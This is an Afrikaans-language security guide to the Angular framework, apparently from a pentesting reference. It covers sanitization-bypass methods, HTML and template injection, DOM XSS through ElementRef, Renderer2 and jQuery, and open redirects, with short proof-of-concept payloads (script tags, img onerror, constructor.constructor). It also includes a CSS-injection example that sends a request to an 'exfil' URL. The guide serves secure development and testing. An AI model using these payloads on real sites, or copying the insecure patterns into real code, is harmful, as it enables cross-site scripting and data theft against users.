Angular

Die Kontrolelys

Kontrolelys van hier.

• Angular word beskou as 'n kliëntkant-raamwerk en daar word nie verwag dat dit bedienerskant-beskerming sal bied nie

• Sourcemap vir skripte is gedeaktiveer in die projekkonfigurasie

• Onbetroubare gebruikersinsette word altyd geïnterpoleer of gesaniteer voordat dit in sjablone gebruik word

• Die gebruiker het geen beheer oor bedienerskant- of kliëntkant-sjablone nie

• Onbetroubare gebruikersinsette word gesaniteer deur 'n toepaslike sekuriteitskonteks voordat dit deur die toepassing vertrou word

• BypassSecurity*-metodes word nie gebruik met onbetroubare insette nie

• Onbetroubare gebruikersinsette word nie aan Angular-klasse soos ElementRef, Renderer2 en Document, of ander JQuery/DOM-bronne oorgedra nie

Wat is Angular

Angular is 'n kragtige en open-source front-end-raamwerk wat deur Google onderhou word. Dit gebruik TypeScript om koderingsleesbaarheid en foutopsporing te verbeter. Met sterk sekuriteitsmeganismes voorkom Angular algemene kliëntkant-veiligheidskwesbaarhede soos XSS en open omleidings. Dit kan ook aan die bedienerskant gebruik word, wat sekuriteitsoorwegings van beide kante belangrik maak.

Raamwerkargitektuur

Om die basiese konsepte van Angular beter te verstaan, gaan ons deur sy essensiële konsepte.

'n Gewone Angular-projek lyk gewoonlik soos:

my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die hoofkomponent (AppComponent), wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en logika bevat, en word geassosieer met 'n HTML-sjabloon wat 'n aansig definieer wat in 'n teikenomgewing vertoon moet word. Die @Component()-versierder identifiseer die klas onmiddellik daaronder as 'n komponent en voorsien die sjabloon en verwante komponentspesifieke metadata. Die AppComponent word in die app.component.ts-lêer gedefinieer.

Angular NgModules verklaar 'n samestellingskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werkstroom of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n hoofmodule, konvensioneel genaamd AppModule, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die AppModule word in die app.module.ts-lêer gedefinieer.

Die Angular Router NgModule verskaf 'n diens wat jou in staat stel om 'n navigasiepad tussen die verskillende toepassingsstatusse en aanskouingshiërargieë in jou toepassing te definieer. Die RouterModule word in die app-routing.module.ts-lêer gedefinieer.

Vir data of logika wat nie met 'n spesifieke aansig geassosieer is nie en wat jy wil deel tussen komponente, skep jy 'n diensklas. 'n Diensklasdefinisie word onmiddellik deur die @Injectable()-versierder gevolg. Die versierder voorsien die metadata wat dit moontlik maak dat ander verskaffers as afhanklikhede in jou klas ingespuit kan word. Afhanklikheidsinspuiting (DI) stel jou in staat om jou komponentklasse slank en doeltreffend te hou. Hulle haal nie data van die bediener op, valideer gebruikersinsette nie, of log direk na die konsole nie; hulle delegeer sulke take aan dienste.

Sourcemap-konfigurasie

Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die tsconfig.json-opsies te volg en bou dan 'n projek met die angular.json-konfigurasie. Deur na die angular.json-lêer te kyk, het ons 'n opsie opgemerk om 'n sourcemap in of uit te skakel. Volgens die Angular-dokumentasie het die verstekkonfigurasie 'n sourcemap-lêer wat ingeskakel is vir skripte en nie standaard versteek is nie:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Data binding

Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data oor te dra na en van die Angular-raamwerk. Data kan deur verskillende middels oorgedra word, soos deur gebeure, interpolasie, eienskappe, of deur die tweerigtingbinding meganisme. Verder kan data ook gedeel word tussen verwante komponente (ouer-kind verhouding) en tussen twee onverwante komponente deur die gebruik van die Diens-funksie.

Ons kan binding klassifiseer volgens die data-vloei:

• Data-bron na weergawe-teiken (sluit interpolasie, eienskappe, eienskappe, klasse en style in); kan toegepas word deur [] of {{}} in die sjabloon te gebruik;

• Weergawe-teiken na data-bron (sluit gebeure in); kan toegepas word deur () in die sjabloon te gebruik;

• Tweerigting; kan toegepas word deur [()] in die sjabloon te gebruik.

Binding kan toegepas word op eienskappe, gebeure en eienskappe, sowel as op enige openbare lid van 'n bronrigting:

SOORT	TEIKEN	VOORBEELDE
Eienskap	Elementeienskap, Komponenteienskap, Rigtingseienskap	<img [alt]="hero.name" [src]="heroImageUrl">
Gebeurtenis	Elementgebeurtenis, Komponentgebeurtenis, Rigtingsgebeurtenis	<button type="button" (click)="onSave()">Save
Tweerigting	Gebeurtenis en eienskap	<input [(ngModel)]="name">
Eienskap	Eienskap (die uitsondering)	<button type="button" [attr.aria-label]="help">help
Klas	klasse-eienskap	<div [class.special]="isSpecial">Special
Style	style-eienskap	<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular-sekuriteitsmodel

Angular se ontwerp sluit in dat alle data standaard gekodeer of gesaniteer word, wat dit toenemend moeilik maak om XSS-gebreklikhede in Angular-projekte te ontdek en uit te buit. Daar is twee onderskeie scenario's vir die hantering van data:

1. Interpolasie of {{user_input}} - voer konteks-sensitiewe kodering uit en interpreteer gebruikersinvoer as teks;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Resultaat: <script>alert(1)</script><h1>test</h1> 2. Binding aan eienskappe, eienskappe, klasse en style of [attribute]="user_input" - voer sanitisering uit op grond van die verskafte sekuriteitskonteks.

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Resultaat: <div><h1>test</h1></div>

Daar is 6 tipes SecurityContext :

• None;

• HTML word gebruik wanneer die waarde as HTML geïnterpreteer word;

• STYLE word gebruik wanneer CSS aan die style-eienskap gebind word;

• URL word gebruik vir URL-eienskappe, soos <a href>;

• SCRIPT word gebruik vir JavaScript-kode;

• RESOURCE_URL as 'n URL wat gelaai en uitgevoer word as kode, byvoorbeeld in <script src>.

Gebreke

Omseilingsmetodes vir sekuriteitstroue

Angular stel 'n lys metodes bekend om sy verstek-sanitiseringproses te omseil en aan te dui dat 'n waarde veilig in 'n spesifieke konteks gebruik kan word, soos in die volgende vyf voorbeelde:

1. bypassSecurityTrustUrl word gebruik om aan te dui dat die gegewe waarde 'n veilige styl-URL is:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//resultaat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>

1. bypassSecurityTrustResourceUrl word gebruik om aan te dui dat die gegewe waarde 'n veilige bron-URL is:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//resultaat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">

1. bypassSecurityTrustHtml word gebruik om aan te dui dat die gegewe waarde veilige HTML is. Let daarop dat die invoeging van script-elemente op hierdie manier in die DOM-boom nie sal veroorsaak dat die ingeslote JavaScript-kode uitgevoer word nie, as gevolg van hoe hierdie elemente by die DOM-boom gevoeg word.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//resultaat
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>

1. bypassSecurityTrustScript word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag onvoorspelbaar is, omdat ons nie JS-kode in sjablone kon uitvoer met behulp van hierdie metode nie.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//resultaat
-

1. bypassSecurityTrustStyle word gebruik om aan te dui dat die gegewe waarde veilige CSS is. Die volgende voorbeeld illustreer CSS-injeksie:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//resultaat
Versoek-URL: GET example.com/exfil/a

Angular bied 'n sanitize-metode om data te saniteer voordat dit in weergawes vertoon word. Hierdie metode maak gebruik van die verskafte sekuriteitskonteks en skoonmaak die insette dienooreenkomstig. Dit is egter noodsaaklik om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, die toepassing van 'n saniteerder met SecurityContext.URL op HTML-inhoud bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan misbruik van die sekuriteitskonteks lei tot XSS-gebreklikhede.

HTML-inspuiting

Hierdie kwesbaarheid kom voor wanneer gebruikersinvoer gekoppel is aan enige van die drie eienskappe: innerHTML, outerHTML, of iframe srcdoc. Terwyl dit aan hierdie eienskappe gekoppel word, interpreteer dit HTML soos dit is, maar die invoer word gesaniteer met behulp van SecurityContext.HTML. Dus is HTML-inspuiting moontlik, maar kruiswebklets (XSS) nie.

Voorbeeld van die gebruik van innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Die resultaat is <div><h1>toets</h1></div>.

Sjablooninspuiting

Kliëntkant-rendering (CSR)

Angular maak gebruik van sjablone om bladsye dinamies te konstrueer. Die benadering behels die omhulling van sjabloonuitdrukkings vir Angular om te evalueer binne dubbele krulhakies ({{}}). Op hierdie manier bied die raamwerk addisionele funksionaliteit. Byvoorbeeld, 'n sjabloon soos {{1+1}} sal as 2 vertoon.

Gewoonlik ontsnap Angular gebruikersinvoer wat verwar kan word met sjabloonuitdrukkings (bv. karakters soos `< > ' " ``). Dit beteken dat addisionele stappe nodig is om hierdie beperking te omseil, soos die gebruik van funksies wat JavaScript-stringobjekte genereer om te vermy dat verbode karakters gebruik word. Om dit egter te bereik, moet ons die Angular-konteks, sy eienskappe en veranderlikes in ag neem. Daarom kan 'n sjablooninspuitingsaanval soos volg lyk:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Soos hierbo getoon: constructor verwys na die omvang van die Objek constructor eienskap, wat ons in staat stel om die String constructor aan te roep en willekeurige kode uit te voer.

Bedienerkant-rendering (SSR)

In teenstelling met CSR, wat in die blaaier se DOM plaasvind, is Angular Universal verantwoordelik vir die SSR van sjabloondokumente. Hierdie dokumente word dan aan die gebruiker afgelewer. Ten spyte van hierdie onderskeid, pas Angular Universal dieselfde sanitiseringsmeganismes toe wat in CSR gebruik word om die veiligheid van SSR te verbeter. 'n Sjablooninspuitingskwesbaarheid in SSR kan op dieselfde manier soos in CSR opgespoor word, omdat dieselfde sjabloon taal gebruik word.

Natuurlik is daar ook 'n moontlikheid om nuwe sjablooninspuitingskwesbaarhede in te voer wanneer derdeparty-sjabloon-enjins soos Pug en Handlebars gebruik word.

XSS

DOM-koppelvlakke

Soos voorheen genoem, kan ons direk toegang tot die DOM verkry deur die Document koppelvlak te gebruik. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot kruissite-skripsing (XSS) kwesbaarhede.

Ons het die document.write() en document.createElement() metodes in die onderstaande voorbeelde gebruik:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular klasse

Daar is 'n paar klasse wat gebruik kan word om met DOM-elemente in Angular te werk: ElementRef, Renderer2, Location en Document. 'n Gedetailleerde beskrywing van die laaste twee klasse word gegee in die Open omleidings afdeling. Die grootste verskil tussen die eerste twee is dat die Renderer2 API 'n abstraksie-laag tussen die DOM-element en die komponent-kode verskaf, terwyl ElementRef net 'n verwysing na die element bevat. Daarom moet die ElementRef API volgens die Angular-dokumentasie slegs as 'n laaste uitweg gebruik word wanneer direkte toegang tot die DOM benodig word.

• ElementRef bevat die eienskap nativeElement, wat gebruik kan word om die DOM-elemente te manipuleer. Onvanpaste gebruik van nativeElement kan egter lei tot 'n XSS-injeksiekwesbaarheid, soos hieronder getoon:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}

• Ten spyte van die feit dat Renderer2 API verskaf wat veilig gebruik kan word selfs wanneer direkte toegang tot inheemse elemente nie ondersteun word nie, het dit steeds sekuriteitsgebreke. Met Renderer2 is dit moontlik om eienskappe op 'n HTML-element in te stel deur die setAttribute() metode te gebruik, wat geen XSS-voorkomingsmeganismes het nie.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Kliek hier!</button>

• Om die eienskap van 'n DOM-element in te stel, kan jy die Renderer2.setProperty() metode gebruik en 'n XSS-aanval veroorsaak:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Kliek hier!</button>

Tydens ons navorsing het ons ook die gedrag van ander Renderer2 metodes, soos setStyle(), createComment() en setValue(), in verband met XSS- en CSS-injeksies ondersoek. Ons kon egter geen geldige aanvalsvektore vir hierdie metodes vind as gevolg van hul funksionele beperkings nie.

jQuery

jQuery is 'n vinnige, klein en funksierike JavaScript-biblioteek wat in die Angular-projek gebruik kan word om te help met die manipulasie van die HTML DOM-voorwerpe. Dit is egter bekend dat hierdie biblioteek se metodes uitgebuit kan word om 'n XSS-kwesbaarheid te bereik. Om te bespreek hoe sommige kwesbare jQuery-metodes in Angular-projekte uitgebuit kan word, het ons hierdie subafdeling bygevoeg.

• Die html() metode kry die HTML-inhoud van die eerste element in die stel van ooreenstemmende elemente of stel die HTML-inhoud van elke ooreenstemmende element. Tog kan enige jQuery-konstrukteur of -metode wat 'n HTML-string aanvaar, potensieel kode uitvoer. Dit kan gebeur deur die inspuiting van <script>-etikette of die gebruik van HTML-eienskappe wat kode uitvoer, soos in die voorbeeld getoon.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Kliek hier</button>
<p>iets teks hier</p>

• Die jQuery.parseHTML() metode gebruik inheemse metodes om die string na 'n stel DOM-node om te skakel, wat dan in die dokument ingevoeg kan word.

jQuery.parseHTML(data [, context ] [, keepScripts ])

Soos voorheen genoem, sal die meeste jQuery-API's wat HTML-strings aanvaar, skripte uitvoer wat in die HTML ingesluit is. Die jQuery.parseHTML() metode voer nie skripte in die geparseerde HTML uit tensy keepScripts uitdruklik true is nie. Dit is egter steeds moontlik om in die meeste omgewings skripte indirek uit te voer; byvoorbeeld via die <img onerror>-eienheid.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Kliek hier</button>
<p id="palias">iets teks</p>

Oop omleidings

DOM-koppelvlakke

Volgens die W3C-dokumentasie word die window.location en document.location voorwerpe as aliase in moderne webblaaier behandel. Dit is waarom hulle soortgelyke implementering van sommige metodes en eienskappe het, wat 'n oop omleiding en DOM XSS met javascript://-skema-aanvalle kan veroorsaak, soos hieronder genoem.

• window.location.href(en document.location.href)

Die kanonieke manier om die huidige DOM-plekvoorwerp te kry, is deur window.location te gebruik. Dit kan ook gebruik word om die blaaier na 'n nuwe bladsy om te lei. As gevolg hiervan stel die beheer oor hierdie voorwerp ons in staat om 'n oop omleiding-kwesbaarheid uit te buit.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Kliek hier!</button>

Die uitbuitingsproses is identies vir die volgende scenario's.

• window.location.assign()(en document.location.assign())

Hierdie metode veroorsaak dat die venster die dokument by die gespesifiseerde URL laai en vertoon. As ons beheer oor hierdie metode het, kan dit 'n put wees vir 'n oop omleiding-aanval.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}

• window.location.replace()(en document.location.replace())

Hierdie metode vervang die huidige bron met die een by die verskafte URL.

Die verskil tussen hierdie metode en die assign()-metode is dat nadat window.location.replace() gebruik is, sal die huidige bladsy nie in die sessiegeskiedenis gestoor word nie. Dit is egter ook moontlik om 'n oop omleiding-kwesbaarheid uit te buit wanneer ons beheer oor hierdie metode het.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}

• window.open()

Die window.open()-metode neem 'n URL en laai die bron wat dit identifiseer in 'n nuwe of bestaande oortjie of venster. Beheer oor hierdie metode kan ook 'n geleentheid wees om 'n XSS- of oop omleiding-kwesbaarheid te veroorsaak.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular klasse

• Volgens die Angular-dokumentasie is die Angular Document dieselfde as die DOM-dokument, wat beteken dat dit moontlik is om algemene vektore vir die DOM-dokument te gebruik om kliëntkant kwesbaarhede in die Angular uit te buit. Document.location eienskappe en metodes kan moontlike sinks wees vir suksesvolle oop omleidingsaanvalle, soos in die voorbeeld getoon:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Kliek hier!</button>

• Tydens die navorsingsfase het ons ook die Angular Location-klas vir oop omleidingskwesbaarhede nagegaan, maar geen geldige vektore is gevind nie. Location is 'n Angular-diens wat programme kan gebruik om met die huidige URL van 'n blaaier te kommunikeer. Hierdie diens het verskeie metodes om die gegewe URL te manipuleer - go(), replaceState() en prepareExternalUrl(). Ons kan hulle egter nie gebruik vir omleiding na 'n eksterne domein nie. Byvoorbeeld:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Resultaat: http://localhost:4200/http://google.com/about

• Die Angular Router-klas word hoofsaaklik gebruik vir navigasie binne dieselfde domein en voeg geen addisionele kwesbaarhede tot die toepassing by nie:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Resultaat: http://localhost:4200/https:

Die volgende metodes navigeer ook binne die omvang van die domein:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Verwysings

• Angular

• Angular Security: The Definitive Guide (Deel 1)

• Angular Security: The Definitive Guide (Deel 2)

• Angular Security: The Definitive Guide (Deel 3)

• Angular Security: Checklist

• Workspace en projeklêerstruktuur

• Inleiding tot komponente en sjablone

• Bronkaartkonfigurasie

• Binding sintaksis

• Angular-konteks: Maklike data-binding vir geneste komponentbome en die Router Outlet

• Sanitisering en sekuriteitskontekste

• GitHub - angular/dom_security_schema.ts

• XSS in Angular en AngularJS

• Angular Universal

• DOM XSS

• Angular ElementRef

• Angular Renderer2

• Renderer2-voorbeeld: Manipulering van die DOM in Angular - TekTutorialsHub

• jQuery API-dokumentasie

• Hoe om jQuery met Angular te gebruik (Wanneer jy absoluut moet)

• Angular Document

• Angular Location

• Angular Router